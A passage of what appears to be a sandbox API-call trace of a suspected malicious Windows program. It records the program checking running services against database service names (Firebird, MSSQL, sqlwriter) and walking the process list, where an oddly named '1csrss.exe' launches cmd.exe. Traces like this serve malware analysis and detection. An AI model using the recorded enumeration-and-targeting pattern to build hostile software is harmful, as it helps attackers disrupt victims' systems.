[0282.096] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0282.096] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0282.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0282.096] lstrlenW (lpString="netprofm") returned 8 [0282.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0282.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0282.097] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0282.097] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0282.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0282.097] lstrlenW (lpString="NgcSvc") returned 6 [0282.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0282.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0282.097] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0282.097] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0282.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0282.097] lstrlenW (lpString="NlaSvc") returned 6 [0282.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0282.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0282.097] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0282.097] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0282.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0282.097] lstrlenW (lpString="nsi") returned 3 [0282.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0282.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0282.097] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0282.097] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0282.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0282.097] lstrlenW (lpString="PcaSvc") returned 6 [0282.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0282.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0282.097] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0282.097] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0282.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0282.098] lstrlenW (lpString="PlugPlay") returned 8 [0282.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0282.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0282.098] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0282.098] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0282.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0282.098] lstrlenW (lpString="Power") returned 5 [0282.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0282.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0282.098] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0282.098] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0282.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0282.098] lstrlenW (lpString="ProfSvc") returned 7 [0282.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0282.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0282.098] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0282.098] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0282.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0282.098] lstrlenW (lpString="RpcEptMapper") returned 12 [0282.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0282.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0282.098] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0282.098] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0282.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0282.098] lstrlenW (lpString="RpcSs") returned 5 [0282.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0282.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0282.098] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0282.098] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0282.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0282.098] lstrlenW (lpString="SamSs") returned 5 [0282.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0282.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0282.099] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0282.099] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0282.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0282.099] lstrlenW (lpString="Schedule") returned 8 [0282.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0282.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0282.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0282.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0282.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0282.099] lstrlenW (lpString="SecurityHealthService") returned 21 [0282.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0282.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0282.099] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0282.099] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0282.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0282.099] lstrlenW (lpString="SENS") returned 4 [0282.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0282.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0282.099] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0282.099] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0282.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0282.099] lstrlenW (lpString="ShellHWDetection") returned 16 [0282.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0282.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0282.099] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0282.099] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0282.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0282.099] lstrlenW (lpString="Spooler") returned 7 [0282.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0282.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0282.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0282.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0282.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0282.100] lstrlenW (lpString="SSDPSRV") returned 7 [0282.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0282.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0282.100] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0282.100] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0282.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0282.100] lstrlenW (lpString="StateRepository") returned 15 [0282.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0282.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0282.100] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0282.100] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0282.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0282.100] lstrlenW (lpString="SysMain") returned 7 [0282.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0282.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0282.100] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0282.100] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0282.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0282.100] lstrlenW (lpString="SystemEventsBroker") returned 18 [0282.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0282.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0282.100] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0282.100] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0282.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0282.100] lstrlenW (lpString="Themes") returned 6 [0282.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0282.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0282.100] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0282.100] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0282.100] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7d5978 | out: hHeap=0x6e0000) returned 1 [0282.100] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4a4 [0282.114] Process32FirstW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.114] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.115] lstrlenW (lpString="System") returned 6 [0282.115] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.116] lstrlenW (lpString="smss.exe") returned 8 [0282.116] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.116] lstrlenW (lpString="csrss.exe") returned 9 [0282.116] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.117] lstrlenW (lpString="wininit.exe") returned 11 [0282.117] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.118] lstrlenW (lpString="csrss.exe") returned 9 [0282.118] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.118] lstrlenW (lpString="winlogon.exe") returned 12 [0282.118] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.119] lstrlenW (lpString="services.exe") returned 12 [0282.119] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.120] lstrlenW (lpString="lsass.exe") returned 9 [0282.120] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0282.120] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0282.120] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0282.121] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0282.121] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.122] lstrlenW (lpString="svchost.exe") returned 11 [0282.122] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.123] lstrlenW (lpString="svchost.exe") returned 11 [0282.123] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.123] lstrlenW (lpString="dwm.exe") returned 7 [0282.123] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.124] lstrlenW (lpString="svchost.exe") returned 11 [0282.124] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.125] lstrlenW (lpString="svchost.exe") returned 11 [0282.125] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.125] lstrlenW (lpString="svchost.exe") returned 11 [0282.125] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.126] lstrlenW (lpString="svchost.exe") returned 11 [0282.126] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.127] lstrlenW (lpString="svchost.exe") returned 11 [0282.127] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.127] lstrlenW (lpString="svchost.exe") returned 11 [0282.127] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.128] lstrlenW (lpString="svchost.exe") returned 11 [0282.128] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.128] lstrlenW (lpString="svchost.exe") returned 11 [0282.129] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.129] lstrlenW (lpString="svchost.exe") returned 11 [0282.129] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.130] lstrlenW (lpString="svchost.exe") returned 11 [0282.130] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.130] lstrlenW (lpString="spoolsv.exe") returned 11 [0282.131] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0282.131] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0282.131] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0282.132] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0282.132] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0282.132] lstrlenW (lpString="Memory Compression") returned 18 [0282.133] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.133] lstrlenW (lpString="svchost.exe") returned 11 [0282.133] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.228] lstrlenW (lpString="audiodg.exe") returned 11 [0282.228] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.229] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0282.229] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.229] lstrlenW (lpString="sihost.exe") returned 10 [0282.229] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.230] lstrlenW (lpString="svchost.exe") returned 11 [0282.230] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.231] lstrlenW (lpString="taskhostw.exe") returned 13 [0282.231] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0282.231] lstrlenW (lpString="msoia.exe") returned 9 [0282.231] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.232] lstrlenW (lpString="explorer.exe") returned 12 [0282.232] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.233] lstrlenW (lpString="SearchUI.exe") returned 12 [0282.233] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.233] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0282.233] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.234] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0282.234] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0282.235] lstrlenW (lpString="1csrss.exe") returned 10 [0282.235] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.236] lstrlenW (lpString="svchost.exe") returned 11 [0282.236] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0282.236] lstrlenW (lpString="cmd.exe") returned 7 [0282.236] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0282.237] lstrlenW (lpString="conhost.exe") returned 11 [0282.237] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, 